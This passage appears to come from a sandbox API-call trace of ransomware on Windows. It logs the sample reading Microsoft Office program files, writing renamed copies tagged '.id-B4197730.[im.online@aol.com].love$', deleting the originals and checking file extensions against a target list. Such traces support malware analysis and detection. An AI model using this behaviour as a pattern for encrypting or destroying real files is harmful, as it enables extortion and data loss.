dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0250.839] GetLastError () returned 0x0 [0250.839] ReadFile (in: hFile=0x45c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x221, lpOverlapped=0x0) returned 1 [0251.117] WriteFile (in: hFile=0x450, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x230, lpOverlapped=0x0) returned 1 [0251.119] ReadFile (in: hFile=0x45c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0251.119] WriteFile (in: hFile=0x450, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x10c, lpOverlapped=0x0) returned 1 [0251.119] SetEndOfFile (hFile=0x450) returned 1 [0251.119] CloseHandle (hObject=0x450) returned 1 [0251.119] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.119] SetEndOfFile (hFile=0x45c) returned 1 [0251.341] CloseHandle (hObject=0x45c) returned 1 [0251.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0251.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 1 [0251.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0251.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0251.345] lstrlenW (lpString=".doc") returned 4 [0251.345] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0251.345] lstrlenW (lpString=".docx") returned 5 [0251.345] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0251.345] lstrlenW (lpString=".pdf") returned 4 [0251.345] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0251.345] lstrlenW (lpString=".xls") returned 4 [0251.345] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0251.345] lstrlenW (lpString=".xlsx") returned 5 [0251.345] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0251.345] lstrlenW (lpString=".ppt") returned 4 [0251.345] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0251.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0251.346] lstrlenW (lpString=".zip") returned 4 [0251.346] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0251.346] lstrlenW (lpString=".rar") returned 4 [0251.346] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0251.346] lstrlenW (lpString=".bz2") returned 4 [0251.346] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0251.346] lstrlenW (lpString=".7z") returned 3 [0251.346] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0251.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0251.346] lstrlenW (lpString=".dbf") returned 4 [0251.346] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0251.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0251.346] lstrlenW (lpString=".1cd") returned 4 [0251.346] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0251.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0251.346] lstrlenW (lpString=".jpg") returned 4 [0251.346] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0251.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0251.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0251.346] lstrlenW (lpString=".doc") returned 4 [0251.346] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0251.346] lstrlenW (lpString=".docx") returned 5 [0251.346] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0251.346] lstrlenW (lpString=".pdf") returned 4 [0251.346] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0251.346] lstrlenW (lpString=".xls") returned 4 [0251.346] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0251.347] lstrlenW (lpString=".xlsx") returned 5 [0251.347] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0251.347] lstrlenW (lpString=".ppt") returned 4 [0251.347] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0251.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0251.347] lstrlenW (lpString=".zip") returned 4 [0251.347] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0251.347] lstrlenW (lpString=".rar") returned 4 [0251.347] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0251.347] lstrlenW (lpString=".bz2") returned 4 [0251.347] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0251.347] lstrlenW (lpString=".7z") returned 3 [0251.347] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0251.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0251.347] lstrlenW (lpString=".dbf") returned 4 [0251.347] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0251.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0251.347] lstrlenW (lpString=".1cd") returned 4 [0251.347] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0251.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0251.348] lstrlenW (lpString=".jpg") returned 4 [0251.348] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0251.348] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0251.348] lstrlenW (lpString="ucrtbase.dll") returned 12 [0251.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0251.586] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=900288) returned 1 [0251.586] CloseHandle (hObject=0x534) returned 1 [0251.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll")) returned 0x220 [0251.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0251.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0251.593] lstrlenW (lpString=".doc") returned 4 [0251.593] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.593] lstrlenW (lpString=".docx") returned 5 [0251.593] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0251.593] lstrlenW (lpString=".pdf") returned 4 [0251.593] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.593] lstrlenW (lpString=".xls") returned 4 [0251.593] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.593] lstrlenW (lpString=".xlsx") returned 5 [0251.593] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0251.593] lstrlenW (lpString=".ppt") returned 4 [0251.593] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0251.593] lstrlenW (lpString=".zip") returned 4 [0251.593] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.593] lstrlenW (lpString=".rar") returned 4 [0251.593] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.593] lstrlenW (lpString=".bz2") returned 4 [0251.593] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.593] lstrlenW (lpString=".7z") returned 3 [0251.593] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0251.593] lstrlenW (lpString=".dbf") returned 4 [0251.594] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0251.594] lstrlenW (lpString=".1cd") returned 4 [0251.594] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0251.594] lstrlenW (lpString=".jpg") returned 4 [0251.594] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0251.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0251.594] lstrlenW (lpString=".doc") returned 4 [0251.594] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.594] lstrlenW (lpString=".docx") returned 5 [0251.594] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0251.594] lstrlenW (lpString=".pdf") returned 4 [0251.594] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.594] lstrlenW (lpString=".xls") returned 4 [0251.594] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.594] lstrlenW (lpString=".xlsx") returned 5 [0251.594] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0251.594] lstrlenW (lpString=".ppt") returned 4 [0251.594] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0251.594] lstrlenW (lpString=".zip") returned 4 [0251.594] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.594] lstrlenW (lpString=".rar") returned 4 [0251.594] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.594] lstrlenW (lpString=".bz2") returned 4 [0251.595] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.595] lstrlenW (lpString=".7z") returned 3 [0251.595] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0251.595] lstrlenW (lpString=".dbf") returned 4 [0251.595] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0251.595] lstrlenW (lpString=".1cd") returned 4 [0251.595] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0251.595] lstrlenW (lpString=".jpg") returned 4 [0251.595] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.595] lstrcmpiW (lpString1=".msu", lpString2=".love$") returned 1 [0251.595] lstrlenW (lpString="Windows8-RT-KB2999226-x64.msu") returned 29 [0251.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0251.596] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=1347630) returned 1 [0251.596] CloseHandle (hObject=0x45c) returned 1 [0251.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 0x220 [0251.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0251.597] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.597] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0251.603] GetLastError () returned 0x0 [0251.603] ReadFile (in: hFile=0x45c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0xffff0, lpOverlapped=0x0) returned 1 [0251.920] WriteFile (in: hFile=0x4e4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0xffff0, lpOverlapped=0x0) returned 1 [0252.505] ReadFile (in: hFile=0x45c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x4903e, lpOverlapped=0x0) returned 1 [0252.523] WriteFile (in: hFile=0x4e4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x49040, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x49040, lpOverlapped=0x0) returned 1 [0252.534] ReadFile (in: hFile=0x45c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0252.534] WriteFile (in: hFile=0x4e4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x10e, lpOverlapped=0x0) returned 1 [0252.535] SetEndOfFile (hFile=0x4e4) returned 1 [0252.535] CloseHandle (hObject=0x4e4) returned 1 [0252.535] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0252.535] SetEndOfFile (hFile=0x45c) returned 1 [0253.087] CloseHandle (hObject=0x45c) returned 1 [0253.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0253.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 1 [0253.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0253.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0253.323] lstrlenW (lpString=".doc") returned 4 [0253.323] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0253.323] lstrlenW (lpString=".docx") returned 5 [0253.323] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0253.323] lstrlenW (lpString=".pdf") returned 4 [0253.323] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0253.323] lstrlenW (lpString=".xls") returned 4 [0253.323] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0253.323] lstrlenW (lpString=".xlsx") returned 5 [0253.323] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0253.323] lstrlenW (lpString=".ppt") returned 4 [0253.323] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0253.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0253.323] lstrlenW (lpString=".zip") returned 4 [0253.323] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0253.323] lstrlenW (lpString=".rar") returned 4 [0253.323] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0253.323] lstrlenW (lpString=".bz2") returned 4 [0253.323] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0253.323] lstrlenW (lpString=".7z") returned 3 [0253.323] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0253.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0253.323] lstrlenW (lpString=".dbf") returned 4 [0253.323] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0253.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0253.324] lstrlenW (lpString=".1cd") returned 4 [0253.324] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0253.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0253.324] lstrlenW (lpString=".jpg") returned 4 [0253.324] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0253.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0253.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0253.324] lstrlenW (lpString=".doc") returned 4 [0253.324] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0253.324] lstrlenW (lpString=".docx") returned 5 [0253.324] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0253.324] lstrlenW (lpString=".pdf") returned 4 [0253.324] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0253.324] lstrlenW (lpString=".xls") returned 4 [0253.324] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0253.324] lstrlenW (lpString=".xlsx") returned 5 [0253.324] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0253.324] lstrlenW (lpString=".ppt") returned 4 [0253.324] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0253.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0253.324] lstrlenW (lpString=".zip") returned 4 [0253.324] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0253.324] lstrlenW (lpString=".rar") returned 4 [0253.324] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0253.324] lstrlenW (lpString=".bz2") returned 4 [0253.324] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0253.324] lstrlenW (lpString=".7z") returned 3 [0253.325] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0253.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0253.325] lstrlenW (lpString=".dbf") returned 4 [0253.325] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0253.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0253.325] lstrlenW (lpString=".1cd") returned 4 [0253.325] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0253.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0253.325] lstrlenW (lpString=".jpg") returned 4 [0253.325] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0253.325] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0253.325] lstrlenW (lpString="AccessR_Grace-ppd.xrm-ms") returned 24 [0253.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0253.382] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=20775) returned 1 [0253.382] CloseHandle (hObject=0x540) returned 1 [0253.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 0x220 [0253.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0253.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0253.730] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.730] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0255.154] GetLastError () returned 0x0 [0255.154] ReadFile (in: hFile=0x408, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x5127, lpOverlapped=0x0) returned 1 [0255.195] WriteFile (in: hFile=0x45c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x5130, lpOverlapped=0x0) returned 1 [0255.196] ReadFile (in: hFile=0x408, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0255.196] WriteFile (in: hFile=0x45c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x104, lpOverlapped=0x0) returned 1 [0255.196] SetEndOfFile (hFile=0x45c) returned 1 [0255.196] CloseHandle (hObject=0x45c) returned 1 [0255.196] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0255.196] SetEndOfFile (hFile=0x408) returned 1 [0255.731] CloseHandle (hObject=0x408) returned 1 [0255.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 1 [0256.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0256.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0256.085] lstrlenW (lpString=".doc") returned 4 [0256.085] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0256.085] lstrlenW (lpString=".docx") returned 5 [0256.085] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0256.085] lstrlenW (lpString=".pdf") returned 4 [0256.085] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0256.085] lstrlenW (lpString=".xls") returned 4 [0256.085] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0256.085] lstrlenW (lpString=".xlsx") returned 5 [0256.085] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0256.085] lstrlenW (lpString=".ppt") returned 4 [0256.085] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0256.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0256.085] lstrlenW (lpString=".zip") returned 4 [0256.085] lstrcmpiW (lpString1=".zip", 